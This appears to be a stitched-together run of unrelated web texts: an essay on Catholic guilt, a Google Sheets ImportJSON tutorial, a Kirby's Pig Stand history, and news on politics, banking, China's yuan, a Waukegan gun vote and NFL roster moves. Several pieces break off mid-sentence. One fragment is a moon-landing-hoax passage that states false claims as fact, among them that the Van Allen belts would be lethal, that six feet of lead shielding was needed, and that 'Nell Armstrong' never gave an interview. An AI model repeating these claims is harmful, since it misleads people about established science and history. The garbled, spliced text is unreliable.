And this voice cannot be reasoned with. It resides in a part of our brains that is immune to rationality. It’s not difficult to apply our reason to the question of whether or not God exists. We simply look for evidence, and, when we see that there is none, we realize that the only reasonable choice is to abandon our faith and to become atheists or agnostics. But Catholic guilt isn’t like that. The irrationality of the messages that we were told as children is irrelevant. Evidence and reason are powerless against guilt and shame that is this pervasive, vicious, and persistent. For those of us who grew up with this indoctrination, faith in God is optional. Catholic guilt, though, is not.
From a psychological standpoint, Catholic guilt makes a great deal of sense. It’s no surprise that a child who is repeatedly reminded of their inadequacy, dirtiness, and worthlessness will most likely become an adult who struggles with feelings of guilt and shame, one who never feels clean, worthy, valuable, adequate, or forgiven. One who is never at peace.
Despite this, few people, psychologists or otherwise, take it seriously. Unlike other forms of childhood trauma, Catholic guilt and other consequences of childhood religious indoctrination are rarely given the consideration that they deserve. I imagine that there are two reasons for this: 1) Catholic guilt is an extremely common and widespread phenomenon, so common that it is easily ignored, and 2) admitting that childhood religious indoctrination has lifelong consequences is taboo. For example, when I try to discuss my personal struggles with Catholic guilt, I’m often accused of blaming religion for my problems. I’ve even had people laugh in my face. And that’s the problem with treating Catholic guilt as a cliche and a joke: it creates an atmosphere in which it’s easy to dismiss it and to laugh it off. For those of us who struggle with it, the fact that it isn’t taken seriously adds insult to injury.
I think that we need to take it seriously. Because it is serious. It’s real and it’s immune to reason. And year after year, children continue to experience the indoctrination that, in one way or another, will haunt them for the rest of their lives. Until we as a society admit that childhood religious indoctrination has serious consequences and begin to give those consequences the consideration that they deserve, those of us who struggle with such issues will never be able to heal, even in some small way. And, more importantly, until society stops treating serious issues like Catholic guilt as a cliched joke, childhood religious indoctrination will never be seen for what it is: emotional and psychological abuse. We cannot even begin to fight back against childhood religious indoctrination until we admit that it does real damage and has real consequences, consequences that millions of people struggle with on a daily basis.
I don’t really know how to make this happen, though. How do we reclaim Catholic guilt, how do we make it clear that it’s no joke? How do we convince others that the after-effects of childhood religious indoctrination must be taken seriously? How do we destigmatize issues like Catholic guilt? Perhaps discussing it, bringing attention to it, and writing about our experiences with it can help. But other than that, I don’t know how to change things. If you have any ideas, please do share them.How to import JSON data into Google Spreadsheets in less than 5 minutes
Paul Gambill Blocked Unblock Follow Following Mar 13, 2014
I’m writing this only a day after getting home from SXSW 2014. My company, Deloitte Digital, sent me because I led a project to build the Deloitte Round-Up apps in conjunction with Deloitte’s sponsorship of the conference. One of the main functions of the microsite we built was to capture recruiting prospects from people visiting the Deloitte booth. We stored the prospect info in a database on Parse.
Almost immediately, the request came in from the recruiting team to get that prospect data. So I exported the table into a JSON file, but felt bad about just handing a JSON file to non-technologists. I had to quickly figure out how to get the data into a spreadsheet.
Using the awesome ImportJSON tool in combination with this wonderful script, I was able to get the data into a spreadsheet in a matter of minutes. Here’s how:
Create a new Google Spreadsheet. Click on Tools -> Script Editor. Click Create script for Spreadsheet. Delete the placeholder content and paste the code from this script. Rename the script to ImportJSON.gs and click the save button. Back in the spreadsheet, in a cell, you can type “=ImportJSON()” and begin filling out it’s parameters.
Example:
=ImportJSON(“http://date.jsontest.com", “/date”, “noInherit, noTruncate”)
with the following raw JSON from date.jsontest.com:
{
“time”: “05:27:57 AM”,
“milliseconds_since_epoch”: 1394774877499,
“date”: “03-14-2014"
}
will yield:
You can read more about the various parameter options at the ImportJSON project page.
Since I was dealing with a JSON data dump, I had to host the file somewhere. The easiest option was Dropbox. It’s important to remember that if you drop a file onto Dropbox and want the raw data supported, you have to change the www.dropbox.com portion of the URL to dl.dropboxusercontent.com.
Now, when I did this, for various reasons, I had to be able to send an Excel file. Exporting the Google Spreadsheet as an Excel file didn’t work for me in Office for Mac because the macro carried through instead of the raw data. It did, however, work when I opened the.xlsx file in Numbers. I opened it there and then exported to Excel, and voila, I had an Excel spreadsheet with all the JSON data neatly formatted.This pair of graphs visualizes the distribution of earnings among the five highest-paid athletes by sport. The earnings are broken down into salary/winnings and endorsements. The lower graph bins the earnings of the top five athletes from each sport, showing which sports have the highest income based on top salaries, as well as which sports are most heavily invested in by endorsers.
Fun facts:
The two biggest earners are Tiger Woods (golf) and Roger Federer (tennis). Both make the vast majority of their money from endorsements, which is not surprising, as tennis and golf are not salaried sports – earnings based on performance come from success in tournaments.
Tennis is the only sport that has women listed in the top five (Maria Sharapova and Serena Williams).
Golf has the largest range, with both the highest and lowest earner.
All five football players are quarterbacks.
Four of the five baseball players earned within $200,000 of each other.
The highest endorsement to salary/winnings ratios were Federer (10), Mickelson (9.4) and Beckham (8.1). With the exception of Flacco (fottball), the five lowest ratios were all baseball players (Hernandez, Rodriguez, Santana, and Mauer).
Proportionally, baseball and football have the least income from endorsements; tennis and golf have the most.
The summation shows that the top football players have the highest salaries, but when including endorsements, the basketball players are the top earners. Tennis players earn the least in terms of salary/winnings, but baseball players earn the least when including endorsements.
Data source: http://www.forbes.com/athletes/list/Kirby's Pig Stand was the first drive-in restaurant to open in the United States. It was opened by Jessie G. Kirby and Reuben Jackson in 1921, in Dallas, Texas.[1] Then in the 1980s, it changed ownership and name to Woodfire Kirby's.[1][2][3]
History [ edit ]
Kirby's Pig Stand opened in September 1921 in Dallas, Texas.[1][2][4] It was America's first drive-in restaurant.[1][2][4] The restaurant expanded into chains all around the United States in states such as Texas, New York, Florida, Oklahoma, Arkansas, California, and Alabama.[1][2][4] Jessie Kirby died a few years after opening the first drive-in Pig Stand, but Kirby's family and the Jackson family kept the company up and running.[2] The scheme of the restaurant "consisted of a red-tiled pagoda-like roof set on a rectangular building framed of wood and covered in stucco (a fine plaster used for coating wall surfaces or molding into architectural decorations)".[2] "A 1927 newspaper advertisement claimed over 5,000 people in Dallas alone had their evening meal at the Pig Stands".[2] It was popular for "chicken-fried steak sandwich, fried onion rings, milkshake, pig sandwich and their Texas toast".[4] Kirby's Pig Stands revolutionized the way Americans eat everyday meals; now 97 years later, there are thousands of fast food restaurants across America such as McDonald's, Burger King, Taco Bell, Wendy's and Sonic. By 1959, most of the Pigs Stands out of Texas were eventually sold but the stands in Texas were run by the president Royce Hailey. Hailey became the owner in 1975 then sold the business to his son Richard Hailey, changing the restaurant's name to Woodfire Kirby's, which resides in Dallas, Texas, as a Three Star restaurant. Hailey also keeps a Pig Stand up and running today. The chain went bankrupt due to unpaid sales tax[5] in 2007.
Slogans [ edit ]
The company used various slogans throughout its tenure, including: "Quick 'danceing ;) Service", "Curb Service", "Eat a Pig Sandwich", "America's Motor Lunch", A Good Meal at Any Time.[1][2][4]
References [ edit ]Former Florida Gov. Jeb Bush is no stranger to personal jabs from current Republican presidential nominee Donald Trump, who has consistently bullied opponents — including Bush during his failed bid to be the GOP nominee — during this election cycle.
While Bush was still in the presidential race, Trump repeatedly called him "boring," insulted his "lack of energy," and used his relationship with his mother to call him weak.
However, during a speech at Harvard University on Friday, Bush revealed the main problem with the political rhetoric in this election cycle: it's full of toxic masculinity.
The term toxic masculinity refers to the harmful antiquated and gendered ideas of how men are supposed to behave. While Bush did not use the precise term, he described it perfectly.
“I just went through what was a really tough political fight, and I lost and it was disappointing, but I’m not going to change who I am,” Bush said, according to Politico. “The idea [that] you are weak if you are warm-hearted, man, we have to stop that. That is just dangerous for our democracy.”
Some of Trump's attacks on Bush focused on the fact that his mother campaigned for him and included critiques of Bush's interest in his appearance. These attacks are seemingly to make Bush appear weak because those characteristics are associated with women.
Trump isn't the only male candidate to use outdated stereotypes about masculinity for political attacks. Libertarian candidate Gary Johnson called Trump a "pussy" and then used his physical fitness as an explanation for the sexist slur.
'It was kind of a misfire on my part when I called him a pussy." said Johnson. "But the point was that you know what? I've climbed the highest mountain on each of the seven continents. I'm gong to do a 3,000 mile mountain bike ride here, upcoming. Trump's a pussy."
Among many remarks that have been criticized as sexist, Trump has also used physical fitness against Democratic nominee and former Secretary of State Hillary Clinton. He said that the first female Democratic nominee lacked the "look" and the "tremendous stamina" to be president during Monday's first presidential debate.
Clinton had a direct response: “As soon as he travels to 112 countries and negotiates a peace deal, and a cease fire, a release of dissidents, an opening of new opportunities in nations around the world, or even spends 11 hours testifying in front of a congressional committee, he can talk to me about stamina,” she said.Amidst all of the very real concerns about the future of this franchise, it’s worth pointing out at least one positive sign. Recently, IDW reported that their revenue for 2016 represented an increase of 32% year-over-year. In total, they earned $65.3 million for the year ended October 31, 2016. When asked about their success, CEO Ted Adams had the following to say about what had lead to the increase in revenue:
“Our publishing division — which includes IDW Publishing where we primarily publish comic books and graphic novels and IDW Games where we publish board games and card games, was led by the success of the March books and the Teenage Mutant Ninja Turtles board game.”
Considering how successful their Kickstarter campaign was, it probably shouldn’t be too surprising that Shadows of the Past has played a large role in IDW’s fortune. That being said, it’s clear that the continued progress with Teenage Mutant Ninja Turtles comic books has also led to increased profits. Although Viacom and Paramount may be struggling with the franchise and having difficulty figuring out what they should do next, IDW seems to know exactly which directions to take with our heroes in a half shell. This brings us to the next significant comment from CEO Ted Adams:
“IDW Entertainment had a breakout year as it grew revenue from $0.2 million in 2015 to $16.0 million in 2016 driven by the successful first seasons of Wynonna Earp and Dirk Gently. Both shows will return to the air in 2017 for their second seasons. Joe Hill has also written the pilot script and series outline for a TV show based on our flagship title, Locke & Key, and we will be presenting it to potential networks this year |
% of NASA’s astronaut core.
Van Allen radiation belt is radiation belt is a zone of energetic charged particles, most of which originate from the solar wind that is captured by and held around a planet. Earth's two main belts extend from an altitude of about 1,000 to 60,000 kilometres above the surface in which region radiation levels vary.
It is said that anyone going through the Van Allen Belts would become very sick and or die from radiation sickness. Other than the Apollo missions no other manned space flight has attempted to blast through this deadly radiation. To protect the astronauts the capsule would have needed six feet of lead shielding.
It is also possible that a magnetic storm from the sun could have killed the astronauts. Apparently, the Apollo mission coincided with one of the most intense solar storms ever recorded. No Apollo astronaut has ever contracted any serious radiation sickness.
Nell Armstrong has never given a public interview about the trip to the moon.
If NASA really landed on the moon, there would be evidence like the lunar lander left on the moon.GENEVA (Reuters) - Urban warfare is taking root in conflicts across the Middle East, with five times more civilians in Syria and Iraq killed in cities than in rural areas over the past three years, the International Committee of the Red Cross said on Wednesday.
FILE PHOTO: A man sits on the rubble of a house of his relatives, destroyed by a Saudi-led air strike in Sanaa, Yemen June 9, 2017. REUTERS/Khaled Abdullah
Tens of thousands of war-related fatalities among city dwellers accounted for 70 percent of civilian deaths in the two countries during the period, the agency said. The Yemeni cities of Taiz, Sadaa and Sanaa have also become deadly battlefields.
“This is all the more alarming as new offensives (against Islamic State militants) get under way in cities like Raqqa in Syria or intensify in Mosul, Iraq,” said Robert Mardini, ICRC regional director for the Middle East.
“Taiz remains partly besieged just as daily air strikes and shelling continue to terrify residents,” he told a news conference to launch an ICRC report called “I Saw My City Die”.
The phenomenon is not limited to the Middle East, Mardini said. “We see also that many other conflicts are taking place in urban areas in other places such as Somalia and Afghanistan and other countries.”
Battles raging in cities, which are “today the new normal unfortunately”, damage vital infrastructure and disrupt basic services including health care, Mardini said.
“The impacts of warfare are quickly multiplied with exponential consequences. If a power line is hit, (there is) no water, no electricity, no waste water treatment. There are contamination outbreaks and massive challenges to run hospitals,” he said.
Yemen’s two-year civil war has been marked by a Saudi-led coalition carrying out massive air strikes to restore President Abd-Rabbu Mansour Hadi to power and end rule by the Iran-backed Houthi militia.
Yemen’s health system has all but collapsed, compounded by a deadly outbreak of cholera, a water-borne disease that can kill within hours, the ICRC said.
“In the last 6 weeks, 1 in 200 Yemenis have contracted cholera while almost 1,000 have died. The outbreak has not seen its peak yet. It’s just accelerating,” Maria Del Pilar Bauza Moreno, ICRC health coordinator in Yemen, said by video from Sanaa.
More than 5,000 new cases of cholera were reported each day last week in Yemen, bringing the total to some 135,000. The ICRC has flown in four cargo planes with chlorine to treat water, as well as intravenous fluids to rehydrate patients.
“Cholera has found the perfect ground - deteriorated living conditions, poor hygiene behavior, unsafe drinking water in most of the cities, collapsed sewage systems, and uncollected garbage everywhere,” Bauza Moreno said.WAUKEGAN, Ill. (STMW) — Waukegan declined to follow the lead of Highland Park and North Chicago on Monday, July 15, when the City Council voted unanimously against a proposed ban on assault weapons within its municipal limits.
Facing a state-mandated deadline for communities to adopt firearm regulations prior to the implementation of Illinois’ new concealed-carry law, the council voted to follow overall state statute on firearms and not enact any extra measures.
Second Ward Ald. Thomas Koncan, chairing a Public Safety Committee that unanimously recommended against an assault-weapons ban, said he looked at the issue as “whether we’re going to follow state law or whether we are going to have our own little kingdom and have our own laws regarding guns.”
“I believe (a ban) would set up the city of Waukegan for lawsuits and would do nothing to deter crime,” Koncan added, saying that “adding an assault-weapons ban in Waukegan would just create a patchwork around the state” with different laws in different communities.
“If someone (transporting a firearm) were to start at the state line and speed down Sheridan Road going 100 mph, if they got stopped anywhere like Waukegan or Zion, they’d get a speeding ticket,” Koncan said. “If they got stopped in North Chicago, they’d get arrested for carrying a weapon that is banned.”
Monday’s action came a month after the council was presented with a measure that would have banned both assault weapons and large-capacity ammunition magazines in the city limits. That June 17 proposal was pulled back and sent to the Public Safety Committee after several local residents expressed concern about the concept during the audience-comment period.
Mayor Wayne Motley told the council at the time that he was following the recommendation of city attorneys in bringing the proposal up for a vote, and he said Monday that he was satisfied that the matter was given a fair hearing.
“What I do agree with is that something had to be done,” Motley said when asked if he agreed with the council’s decision to forgo an assault-weapons ban. “I am a believer in the Second Amendment, but being from law enforcement, I’ve seen the havoc these weapons can do, so I see both sides of the issue.”
Highland Park officials approved its ban on such assault weapons as AK-47s and AR-10s on June 24, using a Cook County measure as a template. The North Chicago City Council followed suit on July 1, voting unanimously to enact a similar assault-weapons ban that comes with the same maximum penalties of a $1,000 fine and six months in jail for possession.
Waukegan’s proposal was also based on the Cook County version, but council sentiment against local gun measures dates back to 2011, when aldermen voted 6-3 to repeal all local gun regulations in favor of state statutes. Monday saw aldermen echoing their past comments about possession of firearms.
“I’m concerned about the constitutional rights of our citizens,” said 6th Ward Al. Larry TenPas. “The Constitution is pretty clear, in my mind, about the right to keep and bear arms.”
“I agree with Ald. TenPas,” Koncan said. “(We) should not put restrictions on the community.”
(Source: Sun-Times Media Wire © Chicago Sun-Times 2013. All Rights Reserved. This material may not be published, broadcast, rewritten, or redistributed.)The Australian Labor Party has hinted at its policy for the nation's national broadband network (NBN), with leader Bill Shorten promising “a first-rate fibre national broadband network” in his Budget in Reply speech.
Shorten's speech declared a “fibre” NBN “the most important piece of infrastructure to any 21st Century economy” but offered no other detail. The party's policy remains non-committal.
The speech signals Labor hopes to make the NBN an election issue. The return of the “NBN defenders” group that in 2012 secured some 270,000 signatories to a petition calling for the network to be built with fibre-to-the-home (FTTH) has emailed its supporters asking them to again press for a change of policy.
The new petition makes the following argument
Australians feel let down by our poor internet access.Last federal election, Malcolm Turnbull ignored the demands of the public for a Fibre to the Home (FTTH) NBN rollout. He instead promised a Fibre to the Node (FTTN) rollout would be quicker and cheaper. He was wrong. We were all meant to have the NBN by now but instead only 14% of Australians have it, plummeting from 30th in the world for fastest internet to 60th. “We want the federal government to commit to fix the epic failure that internet in Australia has become - rolling out FTTH and giving us a shot at becoming a real innovation hub as Turnbull promised!”
Despite amassing many signatories to its online petition, the group had no effect on policy and struggled to mobilise people for “Day of Action” that The Register attended, among perhaps 20 others. ®
Bootnote: El Reg notes that Australia has fallen down world broadband speed league tables while installing predominantly FTTH connections. We're unaware of any evidence suggesting FTTH installations would have proceeded faster than connections made with alternative technologies, but are utterly open to learning of it!Connect SF launched a website where San Francisco residents could use interactive tools to mark where they'd like to see new subway stations and lines.
The project also organized pop-up events over the last two weeks in the Bayview, Excelsior and Tenderloin districts where residents could mark up maps.
"We've asked for people to be creative, so we want to honor that and make sure we're looking at all those submissions for things that we as planners, who are maybe a little too close to the problem, aren't seeing," said SFMTA principal planner Grahm Satterwhite at the Tenderloin pop-up on Tuesday.
Albert says many residents have shown interest in building lines from the Richmond District all the way to North Beach and Fisherman's Wharf.
"If you think about where we run subways now, there really are only two subway lines in the city," Albert said. "What I hear is that people are recognizing that that is moving a lot of people quickly, and they wish that they could have that quality of service in other parts of San Francisco."
Ramon Quintero works for a low-income housing developer in the Tenderloin. He drew a map that went from his home in Oakland to his workplace in the Tenderloin. He says he's sure that his dream map won't be implemented, but he thinks that getting this kind of community feedback is important.
"These projects are so big and there's so much money going into them that you're going to affect the community as a whole," Quintero said.
Paula Fleisher stopped by the pop-up at Boeddeker Park in the Tenderloin, where she says neighborhood outreach is rare. Fleisher, who works for UCSF's Community Engagement and Health Policy Program, said she's glad she got the chance to share her thoughts. But she also thinks there needs to be not just a pop-up, but a sit-down.Motorcycle helmets with head-up displays and augmented reality were science fiction just a few years ago. But now major helmet manufacturers and startups are working to incorporate Google Glass-like functionality into their gear.
The latest company to throw its brain bucket into the ring is Skully, but the Silicon Valley company isn't content with simply providing navigation and phone connectivity. They're upping the ante with a 180-degree rearview camera.
The Skully P1 combines smartphone-pairing and voice controls with a HUD showing both turn-by-turn directions and a full 180-degree view of what's behind the rider. According to Skully, that not only provides a complete view of the rear, but entirely eliminates blind spots.
The Skully Synapse HUD is integrated into the helmet visor and appears to float around 20 feet ahead of the rider's field of view. Although the map is persistent, two views are available: one with a simple design incorporated into the rearview display and another for more detailed turn-by-turn navigation. Skully claims the lithium ion battery is good for nine hours – a full day's worth of riding – and the helmet will meet both the U.S. DOT and European ECE safety standards.
The company has forked Android to create the Skully Operating System to incorporate voice controls, play music, get directions, and connect with both iOS and Android devices. And the company plans to release an SDK for developers later this year.
As for pricing, that's still up in the air, but you can get in line to be part of the beta-testing set to begin in the next few months.On March 29, billionaire banker Uday Kotak welcomed reporters to a press conference in Mumbai with a wide grin. Indian media was rife with speculation of a big-bang merger announcement by Kotak Mahindra Bank, the country’s fourth-largest private lender.
Instead, 58-year-old Kotak, managing director of the bank, announced a new digital initiative that will let anyone, anywhere open a bank account through a mobile app. His announcement was a significant indicator of how he wants to grow Kotak Mahindra. From eight million users currently, the “811 mobile banking plan” (pdf) will help it double its customer base in 18 months, according to Kotak.
It’s an ambitious goal even for India’s first billionaire from the banking industry, who has made it a habit to push the envelope. The 811 plan, aimed at millennials, will make online banking easier and allow customers to access a bunch of other features, including online shopping, investment management, and insurance. Kotak Mahindra can potentially use this initiative to catch up with bigger peers like HDFC Bank and ICICI Bank, while also batting away upstarts like mobile payment firm Paytm, which is entering the banking business after serving over 170 million customers through its online wallet service.
India’s mobile revolution
With the mobile banking push, Kotak Mahindra is leaning towards how many so-called “challenger banks” operate in the West, said Vivek Belgavi, leader, financial services technology, PwC India. A challenger bank is typically a small lender that intends to compete with older, more established institutions.
“The 811 type of initiative was something that we were expecting since (a) long (time),” Belgavi explained.
With 811—named after the date (Nov. 08, 2016) on which prime minister Narendra Modi announced the demonetisation of high-value currency notes—the account-opening process will take just five minutes, unlike the typical experience at Indian banks which involves tedious paperwork. Users will just have to provide their permanent account numbers (PAN) and their Aadhaar. These can also be zero-balance accounts, thus differentiating Kotak Mahindra from others like the State Bank of India and HDFC Bank which charge customers for not maintaining a minimum balance in their accounts.
Only two-thirds of the adults (66%) in India own bank accounts, according to the government’s last economic survey (pdf). Alongside, smartphone penetration is increasing in the country, with around 300 million users nationwide. The situation is ripe for financial institutions to ride this digital wave and reach new users.
But there are challenges. For instance, security infrastructure is still weak when it comes to mobile payments. “We don’t have any dedicated law on digital payments,” supreme court lawyer Pavan Duggal told the Business Standard newspaper in December 2016.
Nonetheless, if 811 delivers the goods, Kotak Mahindra could emerge as one of the early winners in India’s mobile banking ecosystem. If it fails, however, one of India’s biggest lenders would’ve, rather publicly, burnt its fingers trying to go big on a new platform.
But then, stepping into unknown waters is nothing new for Kotak. That’s what he’s been doing since the early 1980s when he decided to steer clear of his family business and chart his own future.
Textiles to banking
Kotak, currently worth $9.07 billion, grew up in a family of cotton traders in Mumbai. After completing his masters from Mumbai’s Jamnalal Bajaj Institute of Management Studies in his early 20s, Kotak was offered a job at Hindustan Lever (now Hindustan Unilever), which he was inclined to accept. He was clear that he didn’t want to join his family business.
“At that stage, my father and I had a serious talk,” Kotak told Moneylife magazine in 2010. ”He asked, ‘Uday, what do you want to do in life?’ I said, ‘I don’t know; but I will not join the family business. I don’t want to have this problem of working with 14 family members and being one of them’.” His father then gave him a separate office space to work, and Kotak decided to get into finance and began with trading stocks, declining the Hindustan Lever job.
In 1985, he formally set up Kotak Capital Management Finance, a non-banking finance company (NBFC) with a seed capital of Rs30 lakh. The same year, Anand Mahindra, now the chairman and managing director of the Mahindra Group, an Indian conglomerate, invested in Kotak’s company.
“1985. Young Uday Kotak enters my office and offers financing. He’s so smart, I ask if I can invest in him. My best decision,” Mahindra tweeted on March 25.
A year later, the company’s name was changed to Kotak Mahindra Finance, and the NBFC—which began with stock broking—was expanded to investment banking, insurance, and mutual funds. Not long after, investment banking became its top performing unit, and a partnership with Goldman Sachs in 1992—which turned into an equity joint venture in 1996—made Kotak Mahindra Finance into one of the country’s top investment banks. In 2006, Kotak bought out Goldman Sach’s stake in the venture when the American bank decided to operate on its own in India.
In 2003, Kotak Mahindra became the first Indian NBFC to turn into a full-fledged bank after the Reserve Bank of India granted it a banking licence. Over the last 13 years, the bank has grown to 1,348 branches, spread across 675 locations in India, and has a network of 2,051 ATMs. It is lauded for its profitability, and the low proportion of non-performing assets (NPA). In fact, some experts like Rajiv Mehta, assistant vice-president of IIFL Wealth and Asset Management, have called the bank, “a darling of investors.”
In November 2014, Kotak acquired the ING Vysya Bank, making Kotak Mahindra the fourth-largest private-sector lender in India. Many deemed his decision a “calculated risk” since ING wasn’t a small bank, and it wasn’t a distress sale. At a Rs15,000-crore all-equity deal, it was an expensive buy.
So far, Kotak’s bet seems to be working. The acquisition gave his bank the much-needed geographical reach, especially in southern India. The bank’s gross NPA ratio is at 2.4%—lower than most peers. Revenues have jumped 165% from Rs6,180 crore in 2012 to Rs16,384 crore in the 2016 financial year. Profits have grown at a steady clip.
“Kotak Mahindra Bank has undoubtedly proven its competitive edge over its private sector peers with higher fee income generation capability, asset quality management, as well as effectively managing financial business subsidiaries,” Reliance Securities, a brokerage, said in an October 2016 report.
In May 2016, Kotak was named one of the 40 most powerful leaders in finance by Forbes magazine; he was the only Indian on the list. “His bank is continuing to offer 6% on savings accounts, even as falling rates make it harder to do so. Kotak is gung-ho on his native country and believes investing in India is like a Bollywood movie—long, but with a happy ending,” Forbes said.
Kotak believes India’s banking industry will see consolidation eventually, with “only five” large banks surviving. He himself is prepping for this possible acquisition spree: the bank will raise over Rs5,000 crore in capital to be used for consolidation opportunities and for buying stressed assets.
Perhaps Kotak will call another press conference soon?SHANGHAI (Reuters) - China stepped up efforts to curb bets against its currency and reassure skeptical investors, as its central bank set another firm fix for the yuan on Tuesday backed by what dealers said was aggressive yuan buying offshore.
An investor looks at an electronic screen showing stock information at brokerage house in Hangzhou, Zhejiang Province, China, January 11, 2016. REUTERS/China Daily
Ebbing confidence in China’s policymaking has fueled investors’ retreat from the slowing economy, and expectations that the currency will fall further has widened the gap between the tightly managed onshore yuan and the Hong Kong-based offshore rate.
The yuan has depreciated more than one percent since the start of the year, having lost 4.7 percent against the dollar last year, and the accelerated slide had raised uncertainty over China’s intentions regarding the exchange rate.
Analysts said offshore buying by state-owned banks, under the direction of the People’s Bank of China (PBOC), dried up yuan liquidity to such an extent that overnight yuan borrowing rates in Hong Kong (HIBOR) hit a record 66.8 percent.
As a consequence the spread between onshore and offshore yuan exchange rates briefly evaporated, having stood at more than 2 percent last week.
“The strength of its (the PBOC’s) actions appears to have reached the ‘nuclear-weapon’ level, and is comparable to that of the steps taken by other central banks when they previously fought against international speculators, such as George Soros,” said a senior dealer at a European bank in Shanghai.
Perceived missteps by the authorities have stoked concerns in global markets that Beijing might be losing its grip on economic policy, just as the country looks set to post its slowest growth in 25 years.
China's equity markets, which tumbled 10 percent last week and a further 5 percent on Monday, remained volatile, swinging from black to red and back again. The Shanghai Composite Index.SSEC rose 0.2 percent and the CSI300 index.CSI300 closed 0.7 percent higher.
China’s central bank manages the currency by setting a daily target for the yuan, which is allowed to trade within a 2-percentage point band either side.
The PBOC set the mid-point for the yuan CNY=SAEC at 6.5628 per dollar, just two pips weaker than the previous strong fix and firmer than its spot levels late on Monday.
The spot yuan CNY=CFXS weakened from its overnight close to 6.5733 to the dollar, but offshore CNY=D3 it strengthened as much as 180 pips to 6.5660, reversing a spread that had threatened last week to become unmanageable.
SHARPENING DILEMMA
China’s economy is likely grew by around 7 percent in 2015 and added 13 million new jobs, the top economic planning agency said on Tuesday, as it announced the approval of more large infrastructure projects to avert the risk of a deeper slowdown.
Li Pumin, spokesman for the National Reform and Development Commission (NDRC) told a news conference China’s economy would be in good shape in 2016, though there were still uncertainties.
“We will face a relatively complex and severe environment and there will be increasing difficulties,” said Li, without elaborating.
Fitch Ratings said the government was grappling with a “sharpening dilemma between a perceived need to keep interest rates low to help the economy manage its debt burden, and downward pressure on the Chinese yuan and foreign reserves”.
Sources suggested there were moves afoot for China’s cabinet to take a bigger role in overseeing financial markets.
The State Council has set up a working group to prepare for upgrading the cabinet’s financial department to bureau level, said a source close to the country’s leadership.
Officials were doing their best to talk up the currency.
The PBOC plans to keep the yuan basically stable against a basket of currencies, and fluctuations against the U.S. dollar will increase, Ma Jun, the central bank’s chief economist, said on Monday.
Han Jun, deputy director of the office of the Chinese Communist Party’s Leading Group on Financial and Economic Affairs, said a more substantial decline in the yuan was “ridiculous” and “impossible”.
He was speaking at a briefing held at the Chinese consulate in New York, suggesting the authorities were broadening their verbal campaign to deter yuan sellers.
Not all are convinced, however. Goldman Sachs on Monday sharply cut its forecast for the yuan for this year and next.
“With export growth deeply in negative territory, and exports likely to remain weak in coming months, it is likely easier to reach a policy consensus to allow some depreciation,” Goldman analysts wrote in a note.
Figures for China’s December trade accounts are due on Wednesday and are expected to show further falls in both exports and imports. ECONCNThey’re both in Alaska, ironically:
A new poll shows that the two longtime Republican elected officials from Alaska, Sen. Ted Stevens and Rep. Don Young, face serious obstacles to winning reelection.
Stevens trails Anchorage Mayor Mark Begich (D), 51 percent to 44 percent in the poll, while holding fairly high disapproval ratings. While 49 percent of respondents said they hold a positive opinion of Stevens, 40 percent expressed a negative opinion. By contrast, 58 percent of respondents viewed Begich favorably, with only 16 percent holding a negative opinion.
Young is in even worse shape. The 17-term congressman trails former state Rep. Ethan Berkowitz, his likely Democratic opponent, by a 20-point margin — 58 percent to 38 percent. A 52-percent majority of voters said they held a negative opinion of Young, while Berkowitz holds strong favorable ratings.
The poll was conducted by the Anchorage firm Hellenthal and Associates, and was paid for by an Alaska-based lobbyist. It surveyed 269 likely Alaska voters May 6-10, and has a 6 percentage point margin of error.The San Francisco 49ers announced on Tuesday that they have claimed CB C.J. Goodwin off waivers from the New York Giants and waived WR DeAndre Carter. The team also signed undrafted rookie free agent DL Blaine Woodson to a three-year deal. Woodson participated in the team’s rookie mini-camp on a tryout basis earlier this offseason.
Goodwin (6-4, 220) originally signed with the Pittsburgh Steelers as an undrafted rookie free agent on May 4, 2014. After spending the majority of his first two seasons on the Steelers practice squad (2014-15), he was signed by the Atlanta Falcons on January 5, 2016. With the Falcons, he appeared in 26 games (one start) and registered 12 tackles and two passes defensed. He also appeared in three postseason contests where he added three tackles and one pass defensed. He was waived by Atlanta on December 14, 2017, claimed off waivers by the Arizona Cardinals the following day where he went on to appear in two games. After signing a one-year exclusive rights contract with the Cardinals on April 3, 2018, he was waived by the team on May 1 and claimed by the New York Giants the following day. He was waived by the Giants on May 14.
A 28-year-old native of Wheeling WV, Goodwin attended California University of Pennsylvania after beginning his collegiate career at Bethany College and Fairmont State University. He finished his career at California University of Pennsylvania, appearing in all 11 games (one start) at wide receiver where he added 11 receptions for 126 yards and one touchdown. At Fairmont State, he registered 24 receptions for 440 yards and four touchdowns at wide receiver.
A 22-year-old native of Stroudsburg, PA, Woodson (6-2, 280) attended the University of Delaware. During his five-year career with the Blue Hens (2013-17), he played in 45 games (44 starts) and registered 159 tackles, 21.5 tackles for loss, 14.5 sacks, one interception, one pass defensed and one forced fumble. As a senior in 2017, he started all 11 games in which he appeared, and notched 55 tackles, 3.5 tackles for loss, three sacks, one interception and one forced fumble. In 2016, he started 11 games and finished with 24 tackles, 3.5 tackles for loss and one sack. In 2015, he earned Second-Team All-Colonial Athletic Association honors for the second-consecutive season after starting 11 games and finishing with 29 tackles, 3.5 tackles for loss and two sacks. He appeared in 12 games (11 starts) and registered 51 tackles, 11 tackles for loss and 8.5 sacks in 2014, and earned Second-Team All-Colonial Athletic Association honors after retaining freshman eligibility after not seeing game action in 2013.With only a couple of weeks until Election Day, Virginia Attorney General and Republican candidate for governor Ken Cuccinelli campaigns with fellow attorneys general from across the country at a rally in Sterling, Va. Attorney General Pam Bondi, a Florida Republican, is at left.
Oct. 21, 2013 With only a couple of weeks until Election Day, Virginia Attorney General and Republican candidate for governor Ken Cuccinelli campaigns with fellow attorneys general from across the country at a rally in Sterling, Va. Attorney General Pam Bondi, a Florida Republican, is at left. Melina Mara/The Washington Post
Nominees Cuccinelli and McAuliffe court voters across the state as the Nov. 5 election draws near.
Nominees Cuccinelli and McAuliffe court voters across the state as the Nov. 5 election draws near.
Nominees Cuccinelli and McAuliffe court voters across the state as the Nov. 5 election draws near.
Virginia gubernatorial candidate Terry McAuliffe (D) was one of dozens of investors with a Rhode Island estate planner charged with defrauding insurers by using the stolen identities of terminally ill people, according to court documents filed Wednesday by federal prosecutors in Providence.
McAuliffe’s name appeared on a lengthy list of investors with Joseph A. Caramadre, an attorney and accountant who obtained the identities of dying people to set up annuities that ultimately cost insurance companies millions of dollars, the documents say.
The list also included the law firm of a former Rhode Island Supreme Court justice, a Roman Catholic monsignor, a former Cranston, R.I. police chief, and a bookmaker, according to the Providence Journal, which first reported McAuliffe’s investment Wednesday.
